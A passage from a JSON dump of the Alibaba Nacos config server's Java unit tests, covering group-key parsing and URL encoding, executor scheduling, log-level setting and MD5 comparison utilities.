configAllInfo.setEncryptedDataKey(\"key4567\");\n        configAllInfo.setSrcIp(\"ip567\");\n        configAllInfo.setSrcUser(\"user1234\");\n        configAllInfo.setMd5(\"md52345678\");\n        return configAllInfo;\n    }\n}\n\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/utils/AccumulateStatCountTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.utils;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass AccumulateStatCountTest {\n    \n    @Test\n    void testIncrease() {\n        AccumulateStatCount accumulateStatCount = new AccumulateStatCount();\n        long result = accumulateStatCount.increase();\n        assertEquals(1, result);\n    }\n    \n    @Test\n    void testStat() {\n        AccumulateStatCount accumulateStatCount = new AccumulateStatCount();\n        long stat = accumulateStatCount.stat();\n        assertEquals(0, stat);\n        accumulateStatCount.increase();\n        stat = accumulateStatCount.stat();\n        assertEquals(1, stat);\n        accumulateStatCount.increase();\n        stat = accumulateStatCount.stat();\n        assertEquals(1, stat);\n    }\n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/utils/AppNameUtilsTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.utils;\n\nimport org.junit.jupiter.api.Test;\n\nimport java.io.File;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass AppNameUtilsTest {\n    \n    private static final String PARAM_MARKING_PROJECT = \"project.name\";\n    \n    private static final String PARAM_MARKING_JBOSS = \"jboss.server.home.dir\";\n    \n    private static final String PARAM_MARKING_JETTY = \"jetty.home\";\n    \n    private static final String PARAM_MARKING_TOMCAT = \"catalina.base\";\n    \n    private static final String LINUX_ADMIN_HOME = \"/home/admin/\";\n    \n    private static final String SERVER_JBOSS = \"jboss\";\n    \n    private static final String SERVER_JETTY = \"jetty\";\n    \n    private static final String SERVER_TOMCAT = \"tomcat\";\n    \n    private static final String SERVER_UNKNOWN = \"unknown server\";\n    \n    private static final String DEFAULT_APP_NAME = \"unknown\";\n    \n    @Test\n    void testGetAppName() {\n        \n        System.setProperty(PARAM_MARKING_PROJECT, SERVER_UNKNOWN);\n        assertEquals(SERVER_UNKNOWN, AppNameUtils.getAppName());\n        System.clearProperty(PARAM_MARKING_PROJECT);\n        \n        System.setProperty(PARAM_MARKING_JBOSS, LINUX_ADMIN_HOME + SERVER_JBOSS + File.separator);\n        assertEquals(SERVER_JBOSS, AppNameUtils.getAppName());\n        System.clearProperty(PARAM_MARKING_JBOSS);\n        \n        System.setProperty(PARAM_MARKING_JETTY, LINUX_ADMIN_HOME + SERVER_JETTY + File.separator);\n        assertEquals(SERVER_JETTY, AppNameUtils.getAppName());\n        System.clearProperty(PARAM_MARKING_JETTY);\n        \n        System.setProperty(PARAM_MARKING_TOMCAT, LINUX_ADMIN_HOME + SERVER_TOMCAT + File.separator);\n        assertEquals(SERVER_TOMCAT, AppNameUtils.getAppName());\n        System.clearProperty(PARAM_MARKING_TOMCAT);\n        \n        assertEquals(DEFAULT_APP_NAME, AppNameUtils.getAppName());\n        \n    }\n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/utils/ConfigExecutorTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.utils;\n\nimport org.junit.jupiter.api.Test;\n\nimport java.util.concurrent.TimeUnit;\nimport java.util.concurrent.atomic.AtomicInteger;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ConfigExecutorTest {\n    \n    @Test\n    void testScheduleConfigTask() throws InterruptedException {\n        \n        AtomicInteger atomicInteger = new AtomicInteger();\n        \n        Runnable runnable = atomicInteger::incrementAndGet;\n        \n        ConfigExecutor.scheduleConfigTask(runnable, 0, 10, TimeUnit.MILLISECONDS);\n        \n        TimeUnit.MILLISECONDS.sleep(10);\n        \n        assertTrue(atomicInteger.get() >= 1);\n        \n    }\n    \n    @Test\n    void testScheduleCorrectUsageTask() throws InterruptedException {\n        \n        AtomicInteger atomicInteger = new AtomicInteger();\n        \n        Runnable runnable = atomicInteger::incrementAndGet;\n        \n        ConfigExecutor.scheduleCorrectUsageTask(runnable, 0, 10, TimeUnit.MILLISECONDS);\n        \n        TimeUnit.MILLISECONDS.sleep(10);\n        \n        assertTrue(atomicInteger.get() >= 1);\n        \n    }\n    \n    @Test\n    void testExecuteAsyncNotify() throws InterruptedException {\n        \n        AtomicInteger atomicInteger = new AtomicInteger();\n        \n        Runnable runnable = atomicInteger::incrementAndGet;\n        \n        ConfigExecutor.executeAsyncNotify(runnable);\n        \n        TimeUnit.MILLISECONDS.sleep(20);\n        \n        assertEquals(1, atomicInteger.get());\n        \n    }\n    \n    @Test\n    void testScheduleAsyncNotify() throws InterruptedException {\n        \n        AtomicInteger atomicInteger = new AtomicInteger();\n        \n        Runnable runnable = atomicInteger::incrementAndGet;\n        \n        ConfigExecutor.scheduleAsyncNotify(runnable, 20, TimeUnit.MILLISECONDS);\n        \n        assertEquals(0, atomicInteger.get());\n        \n        TimeUnit.MILLISECONDS.sleep(40);\n        \n        assertEquals(1, atomicInteger.get());\n    }\n    \n    @Test\n    void testScheduleLongPollingV1() throws InterruptedException {\n        \n        AtomicInteger atomicInteger = new AtomicInteger();\n        \n        Runnable runnable = atomicInteger::incrementAndGet;\n        \n        ConfigExecutor.scheduleLongPolling(runnable, 0, 10, TimeUnit.MILLISECONDS);\n        \n        TimeUnit.MILLISECONDS.sleep(10);\n        \n        assertTrue(atomicInteger.get() >= 1);\n    }\n    \n    @Test\n    void testScheduleLongPollingV2() throws InterruptedException {\n        \n        AtomicInteger atomicInteger = new AtomicInteger();\n        \n        Runnable runnable = atomicInteger::incrementAndGet;\n        \n        ConfigExecutor.scheduleLongPolling(runnable, 20, TimeUnit.MILLISECONDS);\n        \n        assertEquals(0, atomicInteger.get());\n        \n        TimeUnit.MILLISECONDS.sleep(40);\n        \n        assertEquals(1, atomicInteger.get());\n    }\n    \n    @Test\n    void testExecuteLongPolling() throws InterruptedException {\n        \n        AtomicInteger atomicInteger = new AtomicInteger();\n        \n        Runnable runnable = atomicInteger::incrementAndGet;\n        \n        ConfigExecutor.executeLongPolling(runnable);\n        \n        TimeUnit.MILLISECONDS.sleep(20);\n        \n        assertEquals(1, atomicInteger.get());\n    }\n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/utils/ConfigExtInfoUtilTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.utils;\n\nimport com.alibaba.nacos.api.config.ConfigType;\nimport com.alibaba.nacos.config.server.model.ConfigAllInfo;\nimport com.alibaba.nacos.config.server.model.gray.BetaGrayRule;\nimport com.alibaba.nacos.config.server.model.gray.ConfigGrayPersistInfo;\nimport com.alibaba.nacos.config.server.model.gray.GrayRuleManager;\nimport org.junit.jupiter.api.Test;\n\nimport static com.alibaba.nacos.config.server.model.gray.BetaGrayRule.PRIORITY;\n\npublic class ConfigExtInfoUtilTest {\n    \n    @Test\n    void testExt4Formal() {\n        \n        String dataId = \"dataId4567\";\n        String group = \"group3456789\";\n        String tenant = \"tenant4567890\";\n        \n        //mock exist config info\n        ConfigAllInfo configAllInfo = new ConfigAllInfo();\n        configAllInfo.setDataId(dataId);\n        configAllInfo.setGroup(group);\n        configAllInfo.setTenant(tenant);\n        configAllInfo.setAppName(\"old_app\");\n        configAllInfo.setMd5(\"old_md5\");\n        configAllInfo.setId(12345678765L);\n        configAllInfo.setType(ConfigType.JSON.getType());\n        configAllInfo.setSchema(\"testschema\");\n        configAllInfo.setCreateUser(\"testuser\");\n        configAllInfo.setEffect(\"online\");\n        configAllInfo.setDesc(\"desc\");\n        configAllInfo.setUse(\"use124\");\n        configAllInfo.setConfigTags(\"ctag1,ctag2\");\n        String extraInfoFromAllInfo = ConfigExtInfoUtil.getExtInfoFromAllInfo(configAllInfo);\n        System.out.println(extraInfoFromAllInfo);\n        \n    }\n    \n    @Test\n    void testExt4Gray() {\n        String grayName = \"gray124\";\n        ConfigGrayPersistInfo configGrayPersistInfo = new ConfigGrayPersistInfo(BetaGrayRule.TYPE_BETA,\n                BetaGrayRule.VERSION, \"127.0.0.1,127.0.0.2\", PRIORITY);\n        \n        String grayRule = GrayRuleManager.serializeConfigGrayPersistInfo(configGrayPersistInfo);\n        String oldSrcUser = \"user132\";\n        String extraInfoFromAllInfo = ConfigExtInfoUtil.getExtInfoFromGrayInfo(grayName, grayRule, oldSrcUser);\n        System.out.println(extraInfoFromAllInfo);\n        \n    }\n}\n\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/utils/ContentUtilsTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.utils;\n\nimport com.alibaba.nacos.config.server.constant.Constants;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.fail;\n\nclass ContentUtilsTest {\n    \n    @Test\n    void testVerifyIncrementPubContent() {\n        \n        String content = \"\";\n        try {\n            ContentUtils.verifyIncrementPubContent(content);\n            fail();\n        } catch (IllegalArgumentException e) {\n            assertNotNull(e.toString());\n        }\n        \n        content = \"\\r\";\n        try {\n            ContentUtils.verifyIncrementPubContent(content);\n            fail();\n        } catch (IllegalArgumentException e) {\n            assertNotNull(e.toString());\n        }\n        \n        content = \"\\n\";\n        try {\n            ContentUtils.verifyIncrementPubContent(content);\n            fail();\n        } catch (IllegalArgumentException e) {\n            assertNotNull(e.toString());\n        }\n        \n        content = Constants.WORD_SEPARATOR + \"test\";\n        try {\n            ContentUtils.verifyIncrementPubContent(content);\n            fail();\n        } catch (IllegalArgumentException e) {\n            assertNotNull(e.toString());\n        }\n        \n    }\n    \n    @Test\n    void testGetContentIdentity() {\n        String content = \"abc\" + Constants.WORD_SEPARATOR + \"edf\";\n        String result = ContentUtils.getContentIdentity(content);\n        assertEquals(\"abc\", result);\n        \n        content = \"test\";\n        try {\n            ContentUtils.getContentIdentity(content);\n            fail();\n        } catch (IllegalArgumentException e) {\n            assertNotNull(e.toString());\n        }\n        \n    }\n    \n    @Test\n    void testGetContent() {\n        String content = \"abc\" + Constants.WORD_SEPARATOR + \"edf\";\n        String result = ContentUtils.getContent(content);\n        assertEquals(\"edf\", result);\n        \n        content = \"test\";\n        try {\n            ContentUtils.getContent(content);\n            fail();\n        } catch (IllegalArgumentException e) {\n            assertNotNull(e.toString());\n        }\n        \n    }\n    \n    @Test\n    void testTruncateContent() {\n        String content = \"test\";\n        String result = ContentUtils.truncateContent(content);\n        assertEquals(content, result);\n        \n        String content2 = \"abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz\";\n        String result2 = ContentUtils.truncateContent(content2);\n        String expected = \"abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuv...\";\n        assertEquals(expected, result2);\n        \n        assertEquals(\"\", ContentUtils.truncateContent(null));\n    }\n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/utils/GroupKey2Test.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.utils;\n\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.springframework.test.context.junit.jupiter.SpringExtension;\nimport org.springframework.test.context.web.WebAppConfiguration;\n\nimport static org.junit.jupiter.api.Assertions.assertArrayEquals;\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.junit.jupiter.api.Assertions.fail;\n\n@ExtendWith(SpringExtension.class)\n@WebAppConfiguration\nclass GroupKey2Test {\n    \n    @Test\n    void testParseInvalidGroupKey2() {\n        String key = \"11111+222+333333+444\";\n        try {\n            GroupKey2.parseKey(key);\n            fail();\n        } catch (IllegalArgumentException e) {\n            System.out.println(e.toString());\n        }\n        \n        key = \"11111+\";\n        try {\n            GroupKey2.parseKey(key);\n            fail();\n        } catch (IllegalArgumentException e) {\n            System.out.println(e.toString());\n        }\n        \n        key = \"11111%29+222\";\n        try {\n            GroupKey2.parseKey(key);\n            fail();\n        } catch (IllegalArgumentException e) {\n            System.out.println(e.toString());\n        }\n        \n        key = \"11111%2b+222\";\n        try {\n            GroupKey2.parseKey(key);\n            fail();\n        } catch (IllegalArgumentException e) {\n            System.out.println(e.toString());\n        }\n        \n        key = \"11111%25+222\";\n        String[] pair = GroupKey2.parseKey(key);\n        assertEquals(\"11111%\", pair[0]);\n        assertEquals(\"222\", pair[1]);\n    }\n    \n    @Test\n    void testGetKeyByThreeParams() {\n        \n        // Act\n        final String actual = GroupKey2.getKey(\",\", \",\", \"3\");\n        \n        // Assert result\n        assertEquals(\",+,+3\", actual);\n    }\n    \n    @Test\n    void testGetKeyByTwoParams() {\n        \n        // Act\n        final String actual = GroupKey2.getKey(\"3\", \"'\");\n        \n        // Assert result\n        assertEquals(\"3+'\", actual);\n    }\n    \n    @Test\n    void testParseKeyBySingleCharacter() {\n        \n        // Act\n        final String[] actual = GroupKey2.parseKey(\"/\");\n        \n        // Assert result\n        assertArrayEquals(new String[] {null, \"/\", null}, actual);\n    }\n    \n    @Test\n    void testParseKeyForPlusIllegalArgumentException() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            GroupKey2.parseKey(\"+\");\n            \n            // Method is not expected to return due to exception thrown\n        });\n        \n        // Method is not expected to return due to exception thrown\n    }\n    \n    @Test\n    void testParseKeyForPercentIllegalArgumentException() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            GroupKey2.parseKey(\"%%%5\\u0000??????????????\");\n            \n            // Method is not expected to return due to exception thrown\n        });\n        \n        // Method is not expected to return due to exception thrown\n    }\n    \n    @Test\n    void testParseKeyForInvalidStringIndexOutOfBoundsException() {\n        assertThrows(StringIndexOutOfBoundsException.class, () -> {\n            GroupKey2.parseKey(\"++%\");\n            \n            // Method is not expected to return due to exception thrown\n        });\n        \n        // Method is not expected to return due to exception thrown\n    }\n    \n    @Test\n    void testUrlEncodePlus() {\n        \n        // Arrange\n        final StringBuilder sb = new StringBuilder(\"????\");\n        \n        // Act\n        GroupKey2.urlEncode(\"+\", sb);\n        \n        // Assert side effects\n        assertNotNull(sb);\n        assertEquals(\"????%2B\", sb.toString());\n    }\n    \n    @Test\n    void testUrlEncodeByPercent() {\n        \n        // Arrange\n        final StringBuilder sb = new StringBuilder(\"??????\");\n        \n        // Act\n        GroupKey2.urlEncode(\"%\", sb);\n        \n        // Assert side effects\n        assertNotNull(sb);\n        assertEquals(\"??????%25\", sb.toString());\n    }\n    \n    @Test\n    void testUrlEncodeForNullStringBuilder() {\n        assertThrows(NullPointerException.class, () -> {\n            GroupKey2.urlEncode(\"+\", null);\n            \n            // Method is not expected to return due to exception thrown\n        });\n        \n        // Method is not expected to return due to exception thrown\n    }\n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/utils/GroupKeyTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.utils;\n\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.springframework.test.context.junit.jupiter.SpringExtension;\nimport org.springframework.test.context.web.WebAppConfiguration;\n\nimport static org.junit.jupiter.api.Assertions.assertArrayEquals;\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.junit.jupiter.api.Assertions.fail;\n\n@ExtendWith(SpringExtension.class)\n@WebAppConfiguration\nclass GroupKeyTest {\n    \n    @Test\n    void testParseInvalidGroupKey() {\n        String key = \"11111+222+333333+444\";\n        try {\n            GroupKey.parseKey(key);\n            fail();\n        } catch (IllegalArgumentException e) {\n            System.out.println(e.toString());\n        }\n        \n        key = \"11111+\";\n        try {\n            GroupKey.parseKey(key);\n            fail();\n        } catch (IllegalArgumentException e) {\n            System.out.println(e.toString());\n        }\n        \n        key = \"11111%29+222\";\n        try {\n            GroupKey.parseKey(key);\n            fail();\n        } catch (IllegalArgumentException e) {\n            System.out.println(e.toString());\n        }\n        \n        key = \"11111%2b+222\";\n        try {\n            GroupKey.parseKey(key);\n            fail();\n        } catch (IllegalArgumentException e) {\n            System.out.println(e.toString());\n        }\n        \n        key = \"11111%25+222\";\n        String[] pair = GroupKey.parseKey(key);\n        assertEquals(\"11111%\", pair[0]);\n        assertEquals(\"222\", pair[1]);\n    }\n    \n    @Test\n    void testGetKeyByThreeParams() {\n        \n        // Act\n        final String actual = GroupKey.getKey(\",\", \",\", \"3\");\n        \n        // Assert result\n        assertEquals(\",+,+3\", actual);\n    }\n    \n    @Test\n    void testGetKeyByTwoParams() {\n        \n        // Act\n        final String actual = GroupKey.getKey(\"3\", \"'\");\n        \n        // Assert result\n        assertEquals(\"3+'\", actual);\n    }\n    \n    @Test\n    void testGetKeyTenantByPlusThreeParams() {\n        \n        // Act\n        final String actual = GroupKey.getKeyTenant(\"3\", \"1\", \",\");\n        \n        // Assert result\n        assertEquals(\"3+1+,\", actual);\n    }\n    \n    @Test\n    void testGetKeyTenantByPercentThreeParams() {\n        \n        // Act\n        final String actual = GroupKey.getKeyTenant(\"\\u0000\\u0000\", \"%+\", null);\n        \n        // Assert result\n        assertEquals(\"\\u0000\\u0000+%25%2B\", actual);\n    }\n    \n    @Test\n    void testParseKeyBySingleCharacter() {\n        \n        // Act\n        final String[] actual = GroupKey.parseKey(\"/\");\n        \n        // Assert result\n        assertArrayEquals(new String[] {null, \"/\", null}, actual);\n    }\n    \n    @Test\n    void testParseKeyForPlusIllegalArgumentException() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            GroupKey.parseKey(\"+\");\n            \n            // Method is not expected to return due to exception thrown\n        });\n        \n        // Method is not expected to return due to exception thrown\n    }\n    \n    @Test\n    void testParseKeyForPercentIllegalArgumentException() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            GroupKey.parseKey(\"%%%5\\u0000??????????????\");\n            \n            // Method is not expected to return due to exception thrown\n        });\n        \n        // Method is not expected to return due to exception thrown\n    }\n    \n    @Test\n    void testParseKeyForInvalidStringIndexOutOfBoundsException() {\n        assertThrows(StringIndexOutOfBoundsException.class, () -> {\n            GroupKey.parseKey(\"++%\");\n            \n            // Method is not expected to return due to exception thrown\n        });\n        \n        // Method is not expected to return due to exception thrown\n    }\n    \n    @Test\n    void testUrlEncodePlus() {\n        \n        // Arrange\n        final StringBuilder sb = new StringBuilder(\"????\");\n        \n        // Act\n        GroupKey.urlEncode(\"+\", sb);\n        \n        // Assert side effects\n        assertNotNull(sb);\n        assertEquals(\"????%2B\", sb.toString());\n    }\n    \n    @Test\n    void testUrlEncodeByPercent() {\n        \n        // Arrange\n        final StringBuilder sb = new StringBuilder(\"??????\");\n        \n        // Act\n        GroupKey.urlEncode(\"%\", sb);\n        \n        // Assert side effects\n        assertNotNull(sb);\n        assertEquals(\"??????%25\", sb.toString());\n    }\n    \n    @Test\n    void testUrlEncodeForNullStringBuilder() {\n        assertThrows(NullPointerException.class, () -> {\n            GroupKey.urlEncode(\"+\", null);\n            \n            // Method is not expected to return due to exception thrown\n        });\n        \n        // Method is not expected to return due to exception thrown\n    }\n    \n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/utils/LogUtilTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.utils;\n\nimport ch.qos.logback.classic.Logger;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass LogUtilTest {\n    \n    @Test\n    void testSetLogLevel() {\n        \n        LogUtil.setLogLevel(\"config-server\", \"INFO\");\n        ch.qos.logback.classic.Logger defaultLog = (Logger) LogUtil.DEFAULT_LOG;\n        assertEquals(\"INFO\", defaultLog.getLevel().levelStr);\n        \n        LogUtil.setLogLevel(\"config-fatal\", \"INFO\");\n        ch.qos.logback.classic.Logger fatalLog = (Logger) LogUtil.FATAL_LOG;\n        assertEquals(\"INFO\", fatalLog.getLevel().levelStr);\n        \n        LogUtil.setLogLevel(\"config-pull\", \"INFO\");\n        ch.qos.logback.classic.Logger pullLog = (Logger) LogUtil.PULL_LOG;\n        assertEquals(\"INFO\", pullLog.getLevel().levelStr);\n        \n        LogUtil.setLogLevel(\"config-pull-check\", \"INFO\");\n        ch.qos.logback.classic.Logger pullCheckLog = (Logger) LogUtil.PULL_CHECK_LOG;\n        assertEquals(\"INFO\", pullCheckLog.getLevel().levelStr);\n        \n        LogUtil.setLogLevel(\"config-dump\", \"INFO\");\n        ch.qos.logback.classic.Logger dumpLog = (Logger) LogUtil.DUMP_LOG;\n        assertEquals(\"INFO\", dumpLog.getLevel().levelStr);\n        \n        LogUtil.setLogLevel(\"config-memory\", \"INFO\");\n        ch.qos.logback.classic.Logger memoryLog = (Logger) LogUtil.MEMORY_LOG;\n        assertEquals(\"INFO\", memoryLog.getLevel().levelStr);\n        \n        LogUtil.setLogLevel(\"config-client-request\", \"INFO\");\n        ch.qos.logback.classic.Logger clientRequestLog = (Logger) LogUtil.CLIENT_LOG;\n        assertEquals(\"INFO\", clientRequestLog.getLevel().levelStr);\n        \n        LogUtil.setLogLevel(\"config-trace\", \"INFO\");\n        ch.qos.logback.classic.Logger traceLog = (Logger) LogUtil.TRACE_LOG;\n        assertEquals(\"INFO\", traceLog.getLevel().levelStr);\n        \n        LogUtil.setLogLevel(\"config-notify\", \"INFO\");\n        ch.qos.logback.classic.Logger notifyLog = (Logger) LogUtil.NOTIFY_LOG;\n        assertEquals(\"INFO\", notifyLog.getLevel().levelStr);\n        \n    }\n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/utils/MD5UtilTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.utils;\n\nimport com.alibaba.nacos.config.server.model.ConfigListenState;\nimport com.alibaba.nacos.config.server.service.ConfigCacheService;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.apache.commons.io.IOUtils;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.mockito.MockedStatic;\nimport org.mockito.Mockito;\nimport org.springframework.mock.env.MockEnvironment;\nimport org.springframework.mock.web.MockHttpServletRequest;\nimport org.springframework.mock.web.MockHttpServletResponse;\n\nimport java.io.CharArrayReader;\nimport java.io.CharArrayWriter;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.Reader;\nimport java.io.Writer;\nimport java.nio.charset.StandardCharsets;\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.mockito.ArgumentMatchers.anyString;\nimport static org.mockito.Mockito.times;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\n\nclass MD5UtilTest {\n    \n    MockedStatic<ConfigCacheService> configCacheServiceMockedStatic;\n    \n    MockedStatic<Md5ComparatorDelegate> md5ComparatorDelegateMockedStatic;\n    \n    @BeforeEach\n    void setUp() {\n        MockEnvironment environment = new MockEnvironment();\n        environment.setProperty(\"nacos.config.cache.type\", \"nacos\");\n        EnvUtil.setEnvironment(environment);\n        configCacheServiceMockedStatic = Mockito.mockStatic(ConfigCacheService.class);\n        md5ComparatorDelegateMockedStatic = Mockito.mockStatic(Md5ComparatorDelegate.class);\n    }\n    \n    @AfterEach\n    void tearDown() {\n        configCacheServiceMockedStatic.close();\n        md5ComparatorDelegateMockedStatic.close();\n    }\n    \n    @Test\n    void testCompareMd5() {\n        Md5ComparatorDelegate md5ComparatorDelegate = Mockito.mock(Md5ComparatorDelegate.class);\n        when(Md5ComparatorDelegate.getInstance()).thenReturn(md5ComparatorDelegate);\n        \n        when(ConfigCacheService.isUptodate(anyString(), anyString(), anyString(), anyString())).thenReturn(false);\n        \n        HashMap<String, ConfigListenState> clientMd5Map = new HashMap<>();\n        clientMd5Map.put(\"test\", new ConfigListenState(\"test\"));\n        \n        MockHttpServletRequest request = new MockHttpServletRequest();\n        request.addHeader(\"Vipserver-Tag\", \"test\");\n        MockHttpServletResponse response = new MockHttpServletResponse();\n        \n        when(md5ComparatorDelegate.compareMd5(request, response, clientMd5Map)).thenReturn(new HashMap<>());\n        MD5Util.compareMd5(request, response, clientMd5Map);\n        \n        verify(md5ComparatorDelegate, times(1)).compareMd5(request, response, clientMd5Map);\n        \n    }\n    \n    @Test\n    void testCompareMd5OldResult() {\n        \n        final MockedStatic<GroupKey2> groupKey2MockedStatic = Mockito.mockStatic(GroupKey2.class);\n        \n        HashMap<String, ConfigListenState> changedGroupKeys = new HashMap<>();\n        changedGroupKeys.put(\"test\", new ConfigListenState(\"testMd5\"));\n        \n        String[] arr = new String[3];\n        arr[0] = \"test0\";\n        arr[1] = \"test1\";\n        arr[2] = \"test2\";\n        when(GroupKey2.parseKey(anyString())).thenReturn(arr);\n        \n        String actualValue = MD5Util.compareMd5OldResult(changedGroupKeys);\n        \n        assertEquals(\"test0:test1;\", actualValue);\n        \n        groupKey2MockedStatic.close();\n    }\n    \n    @Test\n    void 